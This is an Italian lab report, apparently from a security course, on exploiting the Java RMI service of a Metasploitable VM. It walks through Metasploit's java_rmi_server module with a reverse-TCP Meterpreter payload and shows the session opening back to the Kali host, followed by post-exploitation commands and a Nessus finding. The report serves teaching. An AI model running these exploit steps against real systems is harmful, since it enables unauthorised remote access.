

REPORT 16/06

EXPLOIT JAVA_RMI

Nell'esercizio di oggi abbiamo effettuato un exploit su JAVA_RMI ,un servizio attivo su metasploit presso la porta 1099 ,che si occupa della gestione di oggetti remoti attraverso l'invocazione di metodi (RMI acronimo Remote Method Invocation).

Per prima cosa come ci chiedeva la traccia abbiamo cambiato il nostro ip sulla macchina attaccante KALI in 192.168.99.111

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.99.111 netmask 255.255.255.0 broadcast 192.168.99.255
    inet6 fe80::a00:27ff:fec7:e136 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:c7:e1:36 txqueuelen 1000 (Ethernet)
    RX packets 38 bytes 3958 (3.8 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 18 bytes 2544 (2.4 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Per la macchina target Metasploitable abbiamo impostato l'ip 192.168.99.112

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a4:40:6a
          inet addr:192.168.99.112 Bcast:192.168.99.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea4:406a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:61 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B) TX bytes:4626 (4.5 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:113 errors:0 dropped:0 overruns:0 frame:0
          TX packets:113 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23109 (22.5 KB) TX bytes:23109 (22.5 KB)

msfadmin@metasploitable:~$
```

Per preparare il nostro attacco abbiamo avviato da terminale Kali il tool MSFconsole che ci permetterà di interagire con la nostra macchina target .
 Col comando `search` siamo andati a cercare i nomi dei moduli relativi a `JAVA_RMI`, in questo caso abbiamo scelto il modulo **exploit/multi/misc/java_rmi_server** .
 Per utilizzarlo sulla linea di comando digitiamo `use` col relativo nome del modulo oppure `use` accompagnato dal numero progressivo nella lista riferito al modulo che vogliamo utilizzare in questo caso sarà **use 1**.

```
msf6 > search java_rmi

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMI Connection

Successivamente col comando **show payloads** ,andiamo a decidere il payload da usare per l'attacco, in questo caso siamo andati a scegliere il payload **java/meterpreter/reverse_tcp** in quanto vogliamo che la nostra macchina target inizi la connessione verso la macchina attaccante.
 Per impostare il nostro payload sulla linea di comando digitiamo **set** seguito dal nome del payload oppure il numero a cui è riferito nella lista, in questo caso **set payload 9**.
 L'operazione di settaggio del payload era ininfluente allo scopo dell'attacco poichè in questo caso il payload che abbiamo scelto era anche quello di default.

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/generic/custom		normal	No	Custom Payload
1	payload/generic/shell_bind_tcp		normal	No	Generic Command Shell, Bind TCP Inline
2	payload/generic/shell_reverse_tcp		normal	No	Generic Command Shell, Reverse TCP Inline
3	payload/generic/ssh/interact		normal	No	Interact with Established SSH Connection
4	payload/java/jsp_shell_bind_tcp		normal	No	Java JSP Command Shell, Bind TCP Inline
5	payload/java/jsp_shell_reverse_tcp		normal	No	Java JSP Command Shell, Reverse TCP Inline
6	payload/java/meterpreter/bind_tcp		normal	No	Java Meterpreter, Java Bind TCP Stager
7	payload/java/meterpreter/reverse_http		normal	No	Java Meterpreter, Java Reverse HTTP Stager
8	payload/java/meterpreter/reverse_https		normal	No	Java Meterpreter, Java Reverse HTTPS Stager
9	payload/java/meterpreter/reverse_tcp		normal	No	Java Meterpreter, Java Reverse TCP Stager
10	payload/java/shell/bind_tcp		normal	No	Command Shell, Java Bind TCP Stager
11	payload/java/shell/reverse_tcp		normal	No	Command Shell, Java Reverse TCP Stager
12	payload/java/shell_reverse_tcp		normal	No	Java Command Shell, Reverse TCP Inline
13	payload/multi/meterpreter/reverse_http		normal	No	Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
14	payload/multi/meterpreter/reverse_https		normal	No	Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

```
msf6 exploit(multi/misc/java_rmi_server) > set payload 9
```

Dopo aver settato il nostro payload procediamo ad impostare i nostri ip (macchina target e macchina attaccante) nelle opzioni del modulo, tramite il comando **set RHOSTS(remote host)** seguito dall'ip della macchina target in questo caso **192.168.99.112**, mentre per la macchina attaccante il comando **set LHOSTS(local host) 192.168.99.111** riferito all' ip di Kali.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS     192.168.99.112   yes       The target host(s), see https://docs.metasploit.com/docs/usi
  RPORT      1099             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert    II, Src: PosComp no        Path to a custom SSL certificate (default is randomly genera
  URIPATH     Protocol Version no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST      192.168.99.111   yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port
```

A questo punto possiamo avviare il nostro attacco con il comando **exploit** che andrà a creare una **sessione meterpreter** sul sistema remoto ,dove andremo ad eseguire determinati comandi per ottenere informazioni sulla macchina target.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.99.111:4444
[*] 192.168.99.112:1099 - Using URL: http://192.168.99.111:8080/xst74St0
[*] 192.168.99.112:1099 - Server started.
[*] 192.168.99.112:1099 - Sending RMI Header ...
[*] 192.168.99.112:1099 - Sending RMI Call...
[*] 192.168.99.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.99.112
[*] Meterpreter session 1 opened (192.168.99.111:4444 → 192.168.99.112:33704) at 2023-06-16 05:42:30 -0400
```


Il primo comando che abbiamo eseguito è **ifconfig** che ci mostra le configurazioni attuali sulla macchina vittima.

```
meterpreter > ifconfig
Interface 1: 765156521 192.168.99.112
=====
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2: 4237820 192.168.99.112
=====
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fea4:406a
IPv6 Netmask : ::
```

Il secondo comando che abbiamo eseguito è **route** che ci permette di accedere alle impostazioni di routing della macchina target.

```
meterpreter > route
IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.99.112 255.255.255.0 0.0.0.0      0            eth0
```

Con il comando **sysinfo** abbiamo ottenuto le impostazioni di sistema della macchina target

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter >
```

Successivamente con il comando **ls** che ci elenca tutti i file e directory presenti nella directory corrente in questo caso la directory **root**.

```
meterpreter > ls
Listing: /

Mode                Permissions           Size      Type      Last modified    Name
-----
100666/rw-rw-rw-    0            fil       2023-06-01 11:56:44 -0400
040666/rw-rw-rw-    4096         dir       2012-05-13 23:35:33 -0400  bin
040666/rw-rw-rw-    1024         dir       2012-05-13 23:36:28 -0400  boot
040666/rw-rw-rw-    4096         dir       2010-03-16 18:55:51 -0400  cdrom
040666/rw-rw-rw-    13380        dir       2023-06-16 07:27:34 -0400  dev
040666/rw-rw-rw-    4096         dir       2023-06-16 07:27:38 -0400  etc
040666/rw-rw-rw-    4096         dir       2010-04-16 02:16:02 -0400  home
040666/rw-rw-rw-    4096         dir       2010-03-16 18:57:40 -0400  initrd
100666/rw-rw-rw-    7929183      fil       2012-05-13 23:35:56 -0400  initrd.img
040666/rw-rw-rw-    4096         dir       2012-05-13 23:35:22 -0400  lib
040666/rw-rw-rw-    16384        dir       2010-03-16 18:55:15 -0400  lost+found
040666/rw-rw-rw-    4096         dir       2010-03-16 18:55:52 -0400  media
040666/rw-rw-rw-    4096         dir       2010-04-28 16:16:56 -0400  mnt
100666/rw-rw-rw-    27451        fil       2023-06-16 07:27:58 -0400  nohup.out
040666/rw-rw-rw-    4096         dir       2010-03-16 18:57:39 -0400  opt
040666/rw-rw-rw-    0            dir       2023-06-16 07:27:26 -0400  proc
040666/rw-rw-rw-    4096         dir       2023-06-16 07:27:58 -0400  root
040666/rw-rw-rw-    4096         dir       2012-05-13 21:54:53 -0400  sbin
040666/rw-rw-rw-    4096         dir       2010-03-16 18:57:38 -0400  srv
040666/rw-rw-rw-    0            dir       2023-06-16 07:27:26 -0400  sys
040666/rw-rw-rw-    4096         dir       2023-06-12 11:43:35 -0400  test_meta
040666/rw-rw-rw-    4096         dir       2023-06-16 07:42:30 -0400  tmp
```

Per ultimo ma non meno importante abbiamo eseguito il comando **pwd** che mostra il nome della directory dove ci troviamo attualmente **ovvero / (root)**

```
meterpreter > pwd
/
```

Infine grazie al Vulnerability Scanner , **Nessus versione 10.5.2** ,abbiamo effettuato uno scan verso l'ip 192.168.99.112 dove troviamo la vulnerabilità RMI Registry Detection ,relativa appunto al servizio scelto all'inizio.La scansione riconosce il tipo INFO ovvero che non è considerata una vulnerabilità vera e propria,ma il servizio funziona correttamente.

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>
<http://www.nessus.org/u?b6fd7659>

Output

Valid response recieved for port 1099:

0x00: 51 AC ED 00 05 77 0F 01 4F E4 6A 0E 00 00 01 88

0x10: C4 2D E9 F9 80 02 75 72 00 13 5B 4C 6A 61 76 61

0x20: 2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56

0x30: E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00

Q...w..O.j....

.....ur..[Ljava

.lang.String;..V

...{G...pxp...

To see debug logs, please visit individual host

Port ▲

Hosts

1099 / tcp / rmi_regist...

192.168.99.112